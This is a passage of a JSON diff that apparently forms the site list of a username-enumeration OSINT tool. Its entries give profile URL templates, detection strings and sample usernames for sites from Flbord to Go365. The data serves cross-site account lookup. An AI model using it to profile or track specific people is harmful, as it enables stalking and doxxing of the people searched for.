1936025, + "urlMain": "https://flbord.com", + "url": "https://flbord.com/user/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Flickr": { + "tags": [ + "photo" + ], + "checkType": "status_code", + "alexaRank": 569, + "urlMain": "https://www.flickr.com/", + "url": "https://www.flickr.com/photos/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Flightradar24": { + "tags": [ + "de", + "es", + "us" + ], + "regexCheck": "^[a-zA-Z0-9_]{3,20}$", + "checkType": "status_code", + "alexaRank": 2517, + "urlMain": "https://www.flightradar24.com/", + "url": "https://my.flightradar24.com/{username}", + "usernameClaimed": "jebbrooks", + "usernameUnclaimed": "xgtrq" + }, + "Flipboard": { + "tags": [ + "in", + "tech" + ], + "regexCheck": "^([a-zA-Z0-9_]){1,15}$", + "checkType": "status_code", + "alexaRank": 5142, + "urlMain": "https://flipboard.com/", + "url": "https://flipboard.com/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewould" + }, + "Fluther": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 130955, + "urlMain": "https://www.fluther.com/", + "url": "https://www.fluther.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Flyertalk": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 26402, + "urlMain": "https://www.flyertalk.com", + "url": "https://www.flyertalk.com/forum/members/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fm-forum": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f" + ], + "alexaRank": 1027372, + "urlMain": "https://fm-forum.ru", + "url": "https://fm-forum.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "nikita", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fodors": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 18322, + "urlMain": "https://www.fodors.com", + "url": "https://www.fodors.com/community/profile/{username}/forum-activity", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Folkd": { + "disabled": true, + "tags": [ + "eu", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "", + "Folkd | Home" + ], + "alexaRank": 14019, + "urlMain": "http://www.folkd.com/profile/", + "url": "http://www.folkd.com/profile/{username}", + "usernameClaimed": "staffingservice", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Football": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 29781, + "urlMain": "https://www.rusfootball.info/", + "url": "https://www.rusfootball.info/user/{username}/", + "usernameClaimed": "solo87", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Footballforums": { + "tags": [ + "forum", + "gb" + ], + "engine": "XenForo", + "alexaRank": 1793267, + "urlMain": "http://www.footballforums.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Forest": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 1460281, + "urlMain": "https://forest.ru/", + "url": "https://forest.ru/forum/user/{username}/", + "usernameClaimed": "veter", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForexDengi": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 107102, + "urlMain": "https://forexdengi.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "FortniteTracker": { + "tags": [ + "gaming" + ], + "checkType": "status_code", + "alexaRank": 9950, + "urlMain": "https://fortnitetracker.com/challenges", + "url": "https://fortnitetracker.com/profile/all/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Forum.glow-dm.ru": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 6472644, + "urlMain": "http://forum.glow-dm.ru", + "usernameClaimed": "jkey", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forum.jambox.ru": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://forum.jambox.ru", + "usernameClaimed": "ComManDX", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7726749 + }, + "Forum.quake2.com.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "," + ], + "urlMain": "http://forum.quake2.com.ru/", + "url": "http://forum.quake2.com.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Khidalov", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forum29": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://forum29.net", + "usernameClaimed": "KISS", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7864363 + }, + "ForumEvaveda": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 942412, + "urlMain": "http://forum.evaveda.com/", + "usernameClaimed": "leisan", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumHouse": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 18955, + "urlMain": "https://www.forumhouse.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumJizni": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 2782478, + "urlMain": "http://www.forumjizni.ru", + "usernameClaimed": "luhoy2", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumKinopoisk": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 163148, + "urlMain": "https://forumkinopoisk.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumOdUa": { + "disabled": true, + "tags": [ + "forum", + "ro", + "ua" + ], + "engine": "vBulletin", + "alexaRank": 118763, + "urlMain": "https://forumodua.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumOszone": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 45176, + "urlMain": "http://forum.oszone.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumProSport": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 7963918, + "urlMain": "https://forumprosport.ru/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumSmotri": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "urlMain": "https://forumsmotri.club", + "url": "https://forumsmotri.club/user/{username}/", + "presenseStrs": [ + "\u0411\u044b\u043b \u0442\u0443\u0442" + ], + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4855188 + }, + "ForumTauck": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "\u2014 Tauck Community" + ], + "urlMain": "https://forums.tauck.com", + "url": "https://forums.tauck.com/profile/{username}", + "usernameClaimed": "tashager", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumVancouver": { + "tags": [ + "ca", + "forum" + ], + "engine": "XenForo", + "urlMain": "http://www.forumvancouver.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4965742 + }, + "ForumYuristov": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 2017536, + "urlMain": "https://forumyuristov.ru/", + "url": "https://forumyuristov.ru/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forumophilia": { + "tags": [ + "forum", + "porn" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, but that user does not exist." + ], + "alexaRank": 21796, + "urlMain": "https://www.forumophilia.com", + "url": "https://www.forumophilia.com/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forumreligions": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "https://forumreligions.ru", + "url": "https://forumreligions.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "ingvar", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 3482229 + }, + "Forums-bluemoon-mcfc": { + "tags": [ + "forum", + "gb" + ], + "engine": "XenForo", + "alexaRank": 312657, + "urlMain": "https://forums.bluemoon-mcfc.co.uk", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forumsi": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 4060509, + "urlMain": "http://www.forumsi.org", + "usernameClaimed": "Ahimas", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forumteam": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 268366, + "urlMain": "https://forumteam.best/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fotothing": { + "disabled": true, + "tags": [ + "photo" + ], + "checkType": "message", + "absenceStrs": [ + "File Not Found" + ], + "alexaRank": 103043, + "urlMain": "http://www.fotothing.com", + "url": "http://www.fotothing.com/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Foursquare": { + "tags": [ + "geosocial", + "in" + ], + "checkType": "message", + "presenseStrs": [ + "Foursquare " + ], + "alexaRank": 3413, + "urlMain": "https://foursquare.com/", + "url": "https://foursquare.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fozo": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 619848, + "urlMain": "https://fozo.info/", + "url": "https://fozo.info/user/{username}/", + "usernameClaimed": "%D0%A8%D0%98%D0%9A", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fredmiranda": { + "tags": [ + "de", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "View Profile for" + ], + "alexaRank": 62153, + "urlMain": "https://www.fredmiranda.com", + "url": "https://www.fredmiranda.com/forum/viewprofile.php?Action=viewprofile&username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Framapiaf": { + "tags": [ + "mastodon" + ], + "checkType": "status_code", + "urlMain": "https://framapiaf.org", + "url": "https://framapiaf.org/@{username}", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42" + }, + "Free-lance.ua": { + "tags": [ + "freelance", + "ua" + ], + "checkType": "status_code", + "alexaRank": 2295317, + "urlMain": "https://free-lance.ua/", + "url": "https://free-lance.ua/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Free-lancers": { + "tags": [ + "freelance", + "ru" + ], + "checkType": "status_code", + "alexaRank": 969213, + "urlMain": "http://www.free-lancers.net", + "url": "http://www.free-lancers.net/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freecodecamp": { + "tags": [ + "coding", + "education", + "forum" + ], + "engine": "Discourse", + "alexaRank": 1295, + "urlMain": "https://www.freecodecamp.org/forum/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freelance.habr": { + "tags": [ + "freelance", + "ru" + ], + "checkType": "status_code", + "alexaRank": 1265, + "urlMain": "https://freelance.habr.com/", + "url": "https://freelance.habr.com/freelancers/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freelancebay": { + "tags": [ + "freelance", + "th" + ], + "checkType": "message", + "presenseStrs": [ + "\u0e2a\u0e21\u0e31\u0e04\u0e23\u0e2a\u0e21\u0e32\u0e0a\u0e34\u0e01\u0e40\u0e21\u0e37\u0e48\u0e2d" + ], + "alexaRank": 218599, + "urlMain": "https://www.freelancebay.com", + "url": "https://www.freelancebay.com/freelancer/{username}", + "usernameClaimed": "maysuphak", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freelanced": { + "tags": [ + "freelance", + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 554707, + "urlMain": "https://www.freelanced.com", + "url": "https://www.freelanced.com/{username}", + "usernameClaimed": "mattphilleo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freelancehunt": { + "tags": [ + "freelance", + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 40932, + "urlMain": "https://freelancehunt.com", + "url": "https://freelancehunt.com/freelancer/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freelancer.com": { + "tags": [ + "freelance", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "\"users\":{}" + ], + "alexaRank": 661, + "urlMain": "https://www.freelancer.com/", + "url": "https://www.freelancer.com/api/users/0.1/users?usernames%5B%5D={username}&compact=true", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Freepik": { + "tags": [ + "art", + "photo", + "stock" + ], + "checkType": "status_code", + "alexaRank": 147, + "urlMain": "https://www.freepik.com", + "url": "https://www.freepik.com/{username}", + "usernameClaimed": "chevanon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freepo": { + "checkType": "response_url", + "alexaRank": 7571425, + "urlMain": "https://freepo.st", + "url": "https://freepo.st/freepost.cgi/user/public/{username}", + "usernameClaimed": "robocop", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "news" + ] + }, + "Freesound": { + "tags": [ + "music", + "us" + ], + "checkType": "status_code", + "alexaRank": 10440, + "urlMain": "https://freesound.org/", + "url": "https://freesound.org/people/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Fullhub": { + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "title>\u0412\u044b\u0434\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 | FullHub: \u0424\u043e\u0440\u0443\u043c \u043e \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445" + ], + "alexaRank": 1588355, + "urlMain": "https://fullhub.ru/", + "url": "https://fullhub.ru/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Funnyjunk": { + "tags": [ + "gb", + "us" + ], + "checkType": "response_url", + "alexaRank": 10023, + "urlMain": "https://funnyjunk.com/", + "url": "https://funnyjunk.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Funnyordie": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 50140, + "urlMain": "https://www.funnyordie.com", + "url": "https://www.funnyordie.com/users/{username}", + "usernameClaimed": "Marja_Berggren", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "FurryFandom": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0438\u0441\u043a \u043f\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c" + ], + "alexaRank": 7935795, + "urlMain": "https://furry-fandom.ru/", + "url": "https://furry-fandom.ru/user?who={username}", + "usernameClaimed": "Finya", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "G2g.com": { + "checkType": "message", + "presenseStrs": [ + "s Profile - G2G Games Marketplace" + ], + "absenceStrs": [ + "G2G: World Leading Digital Marketplace Platform" + ], + "url": "https://www.g2g.com/{username}", + "usernameClaimed": "user", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "G-news": { + "disabled": true, + "tags": [ + "in", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + ], + "alexaRank": 5900519, + "urlMain": "https://g-news.com.ua", + "url": "https://g-news.com.ua/forum_smf/profile/{username}/", + "usernameClaimed": "Glukodrom", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GBAtemp.net": { + "tags": [ + "de", + "forum", + "gaming", + "us" + ], + "engine": "XenForo", + "alexaRank": 23803, + "urlMain": "https://gbatemp.net/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GDProfiles": { + "checkType": "status_code", + "alexaRank": 2899283, + "urlMain": "https://gdprofiles.com/", + "url": "https://gdprofiles.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "GGIZI": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 668582, + "urlMain": "https://gg-izi.ru/", + "url": "https://gg-izi.ru/user/{username}", + "usernameClaimed": "nimses", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GPS-Forum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 3646635, + "urlMain": "http://www.gps-forum.ru", + "url": "http://www.gps-forum.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "sater", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gab": { + "tags": [ + "in", + "us" + ], + "urlProbe": "https://gab.com/api/v1/account_by_username/{username}", + "checkType": "status_code", + "presenseStrs": [ + "display_name" + ], + "absenceStrs": [ + "Record not found" + ], + "alexaRank": 2512, + "urlMain": "https://gab.com/", + "url": "https://gab.com/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "GaiaOnline": { + "tags": [ + "ro", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "No user ID specified or user does not exist!" + ], + "alexaRank": 38258, + "urlMain": "https://www.gaiaonline.com/", + "url": "https://www.gaiaonline.com/profiles/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Galya": { + "disabled": true, + "similarSearch": true, + "tags": [ + "ru", + "us" + ], + "regexCheck": "^[^_]{3,}$", + "checkType": "message", + "absenceStrs": [ + "div class=error_message" + ], + "alexaRank": 77736, + "urlMain": "https://m.galya.ru", + "url": "https://m.galya.ru/search_result.php?searchstring={username}", + "usernameClaimed": "annledi", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gam1ng": { + "disabled": true, + "tags": [ + "br", + "webcam" + ], + "errors": { + "Attention Required! | Cloudflare": "Cloudflare security protection detected" + }, + "checkType": "status_code", + "urlMain": "https://gam1ng.com.br", + "url": "https://gam1ng.com.br/user/{username}", + "usernameClaimed": "PinKgirl", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Twitter Shadowban": { + "tags": [ + "jp", + "sa" + ], + "urlProbe": "https://shadowban.eu/.api/{username}", + "checkType": "message", + "presenseStrs": [ + "exists\": true" + ], + "absenceStrs": [ + "exists\": false" + ], + "alexaRank": 61030, + "urlMain": "https://shadowban.eu", + "url": "https://shadowban.eu/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Gamblejoe": { + "tags": [ + "de", + "mk", + "ua" + ], + "checkType": "status_code", + "presenseStrs": [ + "profile-page" + ], + "alexaRank": 2094048, + "urlMain": "https://www.gamblejoe.com", + "url": "https://www.gamblejoe.com/profil/{username}/", + "usernameClaimed": "matthias", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GameRevolution": { + "tags": [ + "forum", + "gaming", + "us" + ], + "engine": "XenForo", + "alexaRank": 21572, + "urlMain": "https://forums.gamerevolution.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gamefaqs": { + "tags": [ + "gaming", + "us" + ], + "regexCheck": "^\\S+$", + "errors": { + "Are You a Robot?": "Captcha detected", + "Your IP address has been temporarily blocked due to a large number of HTTP requests": "Too many requests", + "your IP was banned": "IP ban" + }, + "checkType": "message", + "absenceStrs": [ + "404 Error: Page Not Found" + ], + "presenseStrs": [ + "UserID" + ], + "alexaRank": 875, + "urlMain": "https://gamefaqs.gamespot.com", + "url": "https://gamefaqs.gamespot.com/community/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gamesfrm": { + "tags": [ + "forum", + "tr" + ], + "engine": "XenForo", + "alexaRank": 1306974, + "urlMain": "https://www.gamesfrm.com", + "usernameClaimed": "zampara", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gamespot": { + "tags": [ + "gaming", + "us" + ], + "checkType": "status_code", + "alexaRank": 875, + "urlMain": "https://www.gamespot.com/", + "url": "https://www.gamespot.com/profile/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Gamesubject": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 690202, + "urlMain": "https://gamesubject.com", + "url": "https://gamesubject.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gapyear": { + "tags": [ + "gb", + "in" + ], + "checkType": "status_code", + "alexaRank": 60505, + "urlMain": "https://www.gapyear.com", + "url": "https://www.gapyear.com/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GaragePunk": { + "tags": [ + "us" + ], + "checkType": "status_code", + "urlMain": "https://www.garagepunk.com", + "url": "https://www.garagepunk.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 3626803 + }, + "Garden": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 59582, + "urlMain": "https://garden.org", + "url": "https://garden.org/users/profile/{username}/", + "usernameClaimed": "Turbosaurus", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gardening-forums": { + "tags": [ + "forum", + "ph" + ], + "engine": "XenForo", + "alexaRank": 712299, + "urlMain": "https://www.gardening-forums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gardenstew": { + "disabled": true, + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 371220, + "urlMain": "https://www.gardenstew.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Gays": { + "disabled": true, + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 1188634, + "urlMain": "https://www.gays.com", + "url": "https://www.gays.com/p/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Geekdoing": { + "tags": [ + "gr", + "in", + "ir" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 1159327, + "urlMain": "https://geekdoing.com", + "url": "https://geekdoing.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Genius": { + "tags": [ + "music", + "us" + ], + "checkType": "status_code", + "alexaRank": 453, + "urlMain": "https://genius.com/", + "url": "https://genius.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GeniusArtists": { + "checkType": "status_code", + "url": "https://genius.com/artists/{username}", + "usernameClaimed": "genius", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gentlemint": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 505328, + "urlMain": "https://gentlemint.com", + "url": "https://gentlemint.com/users/{username}/", + "usernameClaimed": "zamoose", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Geodesist": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 165765, + "urlMain": "https://geodesist.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "German242": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 499888, + "urlMain": "https://board.german242.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gesundheitsfrage": { + "checkType": "status_code", + "url": "https://www.gesundheitsfrage.net/nutzer/{username}", + "usernameClaimed": "gutefrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Giantbomb": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 15115, + "urlMain": "https://www.giantbomb.com", + "url": "https://www.giantbomb.com/profile/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gigbucks": { + "tags": [ + "dz", + "eg", + "in", + "us" + ], + "checkType": "response_url", + "alexaRank": 135295, + "urlMain": "https://gigbucks.com/", + "url": "https://gigbucks.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gingerbread": { + "tags": [ + "gb" + ], + "checkType": "status_code", + "presenseStrs": [ + "My Profile" + ], + "alexaRank": 240144, + "urlMain": "https://www.gingerbread.org.uk", + "url": "https://www.gingerbread.org.uk/members/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GipsysTeam": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 67758, + "urlMain": "https://site.gipsyteam.ru/", + "url": "https://site.gipsyteam.ru/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gitbook": { + "checkType": "status_code", + "url": "https://{username}.gitbook.io/", + "usernameClaimed": "gitbook", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GitHub": { + "tags": [ + "coding" + ], + "regexCheck": "^[a-zA-Z0-9](?:[a-zA-Z0-9]|-(?=[a-zA-Z0-9])){0,38}$", + "urlProbe": "https://api.github.com/users/{username}", + "checkType": "status_code", + "alexaRank": 83, + "urlMain": "https://www.github.com/", + "url": "https://github.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GitLab": { + "tags": [ + "coding" + ], + "urlProbe": "https://gitlab.com/api/v4/users?username={username}", + "checkType": "message", + "absenceStrs": [ + "[]" + ], + "alexaRank": 4649, + "urlMain": "https://gitlab.com/", + "url": "https://gitlab.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gitee": { + "tags": [ + "cn" + ], + "checkType": "status_code", + "alexaRank": 5093, + "urlMain": "https://gitee.com/", + "url": "https://gitee.com/{username}", + "usernameClaimed": "wizzer", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Glav": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u044b." + ], + "alexaRank": 124671, + "urlMain": "https://glav.su", + "url": "https://glav.su/members/?searchName={username}", + "usernameClaimed": "gvf", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Glbyh": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 8093405, + "urlMain": "https://glbyh.ru/", + "usernameClaimed": "ufo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gliger": { + "disabled": true, + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://www.gliger.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Globalvoices": { + "tags": [ + "sv", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "404 ERROR: PAGE NOT FOUND" + ], + "alexaRank": 78089, + "urlMain": "https://globalvoices.org", + "url": "https://globalvoices.org/author/{username}/", + "usernameClaimed": "7iber", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gnome-vcs": { + "checkType": "message", + "presenseStrs": [ + "Member since" + ], + "absenceStrs": [ + "You need to sign in or sign up" + ], + "url": "https://gitlab.gnome.org/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Go365": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 489173, + "urlMain": "https://community.go365.com", + "url": 